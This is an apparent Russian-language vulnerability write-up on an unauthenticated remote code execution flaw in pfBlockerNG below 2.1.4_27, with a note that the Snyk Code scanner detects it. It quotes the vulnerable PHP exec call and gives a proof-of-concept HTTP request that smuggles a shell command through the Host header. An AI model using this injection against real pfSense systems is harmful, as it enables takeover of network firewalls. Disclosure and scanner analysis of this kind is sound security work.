
Эксплойт Proof-of-concept для неаутентифицированного удаленного выполнения кода в pfBlockerNg через несанитизированный ввод в функции запроса DNSBL TLD, с анализом обнаружения SAST.
pfBlockerNG — это следующее поколение pfBlocker со следующими возможностями:
https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
pfBlockerNg <2.1.4_27
Неаутентифицированное удаленное выполнение кода (RCE)
Запрос для раздела TLD Block в index.php включает несанитизированный/неэкранированный пользовательский ввод d_query из заголовка Host в функцию PHP exec.
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
/pfblockerng/www/index.php
// Query for a TLD Block
if (empty($pfb_query)) {
$idparts = explode('.', $query);
$idcnt = (count($idparts) -1);
for ($i=1; $i <= $idcnt; $i++) {
$d_query = implode('.', array_slice($idparts, -$i, $i, TRUE));
exec("/usr/bin/grep -l '^{$d_query}$' /var/db/pfblockerng/dnsblalias/DNSBL_TLD", $match);
if (!empty($match[0])) {
$pfb_query = 'DNSBL_TLD';
break;
}
}
}
Требуется HTTP-доступ к веб-консоли pfSense
Пример полезной нагрузки: ' *; sleep 5; '
POC запрос:
GET /pfblockerng/www/index.php HTTP/1.1
Host: test.test2' *; sleep 5; '
Content-Length: 2
Я люблю pfBlockerNg и был вдохновлен недавним CVE-2022-31814 от Di r00t и отличным отчетом https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/ и мне стало интересно, сможет ли инструмент статического тестирования безопасности приложений (SAST) Snyk обнаружить уязвимость. Поэтому я скачал соответствующий файл index.php версии 2.1.4_26 и запустил против него Snyk Code. Действительно, Snyk обнаружил уязвимость, а также еще одну аналогичную, всего несколько строк спустя.